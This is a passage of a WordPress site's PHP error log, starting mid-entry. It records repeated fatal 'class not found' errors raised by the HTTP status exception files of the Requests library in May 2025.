  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php on line 17
[13-May-2025 10:06:58 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php on line 17
[13-May-2025 10:06:59 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php on line 17
[13-May-2025 10:07:01 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php on line 17
[13-May-2025 10:07:01 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php on line 21
[13-May-2025 10:07:02 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php on line 21
[13-May-2025 10:07:03 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php on line 21
[13-May-2025 10:07:05 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php on line 21
[13-May-2025 10:07:05 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php on line 17
[13-May-2025 10:07:05 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php on line 17
[13-May-2025 10:07:07 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php on line 17
[13-May-2025 10:07:09 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php on line 17
[13-May-2025 10:07:09 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php on line 17
[13-May-2025 10:07:09 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php on line 17
[13-May-2025 10:07:11 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php on line 17
[13-May-2025 10:07:13 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php on line 17
[14-May-2025 11:56:56 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php on line 17
[14-May-2025 11:56:56 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php on line 17
[14-May-2025 11:56:57 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php on line 17
[14-May-2025 11:56:59 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php on line 17
[14-May-2025 11:56:59 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php on line 17
[14-May-2025 11:56:59 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php on line 17
[14-May-2025 11:57:00 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php on line 17
[14-May-2025 11:57:03 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php on line 17
[14-May-2025 11:57:03 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php on line 17
[14-May-2025 11:57:03 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php on line 17
[14-May-2025 11:57:04 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php on line 17
[14-May-2025 11:57:06 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php on line 17
[14-May-2025 11:57:06 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php on line 17
[14-May-2025 11:57:06 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php on line 17
[14-May-2025 11:57:08 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php on line 17
[14-May-2025 11:57:10 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php on line 17
[14-May-2025 11:57:10 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php on line 17
[14-May-2025 11:57:10 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php on line 17
[14-May-2025 11:57:11 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php on line 17
[14-May-2025 11:57:13 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php on line 17
[14-May-2025 11:57:13 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php on line 17
[14-May-2025 11:57:14 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php on line 17
[14-May-2025 11:57:15 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php on line 17
[14-May-2025 11:57:17 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php on line 17
[14-May-2025 11:57:17 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php on line 21
[14-May-2025 11:57:17 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php on line 21
[14-May-2025 11:57:18 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php on line 21
[14-May-2025 11:57:20 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php on line 21
[14-May-2025 11:57:20 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php on line 21
[14-May-2025 11:57:21 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php on line 21
[14-May-2025 11:57:22 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php on line 21
[14-May-2025 11:57:24 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php on line 21
[14-May-2025 11:57:24 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php on line 17
[14-May-2025 11:57:24 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php on line 17
[14-May-2025 11:57:25 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php on line 17
[14-May-2025 11:57:27 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php on line 17
[14-May-2025 11:57:27 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php on line 17
[14-May-2025 11:57:28 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php on line 17
[14-May-2025 11:57:29 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php on line 17
[14-May-2025 11:57:31 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php on line 17
[14-May-2025 11:57:31 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php on line 17
[14-May-2025 11:57:31 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php on line 17
[14-May-2025 11:57:32 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php on line 17
[14-May-2025 11:57:34 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php on line 17
[14-May-2025 11:57:34 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php on line 21
[14-May-2025 11:57:34 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php on line 21
[14-May-2025 11:57:36 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php on line 21
[14-May-2025 11:57:38 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php on line 21
[14-May-2025 11:57:38 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php on line 21
[14-May-2025 11:57:38 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php on line 21
[14-May-2025 11:57:39 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php on line 21
[14-May-2025 11:57:41 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php on line 21
[14-May-2025 11:57:41 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php on line 18
[14-May-2025 11:57:42 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php on line 18
[14-May-2025 11:57:43 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php on line 18
[14-May-2025 11:57:45 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php on line 18
[14-May-2025 11:57:45 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php on line 17
[14-May-2025 11:57:45 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php on line 17
[14-May-2025 11:57:46 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php on line 17
[14-May-2025 11:57:48 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php on line 17
[14-May-2025 11:57:48 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php on line 17
[14-May-2025 11:57:49 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php on line 17
[14-May-2025 11:57:50 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php on line 17
[14-May-2025 11:57:52 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php on line 17
[14-May-2025 11:57:52 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php on line 17
[14-May-2025 11:57:52 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php on line 17
[14-May-2025 11:57:53 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php on line 17
[14-May-2025 11:57:55 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php on line 17
[14-May-2025 11:57:56 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php on line 17
[14-May-2025 11:57:56 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php on line 17
[14-May-2025 11:57:57 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php on line 17
[14-May-2025 11:57:59 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php on line 17
[14-May-2025 11:57:59 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php on line 17
[14-May-2025 11:57:59 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php on line 17
[14-May-2025 11:58:01 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php on line 17
[14-May-2025 11:58:03 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php on line 17
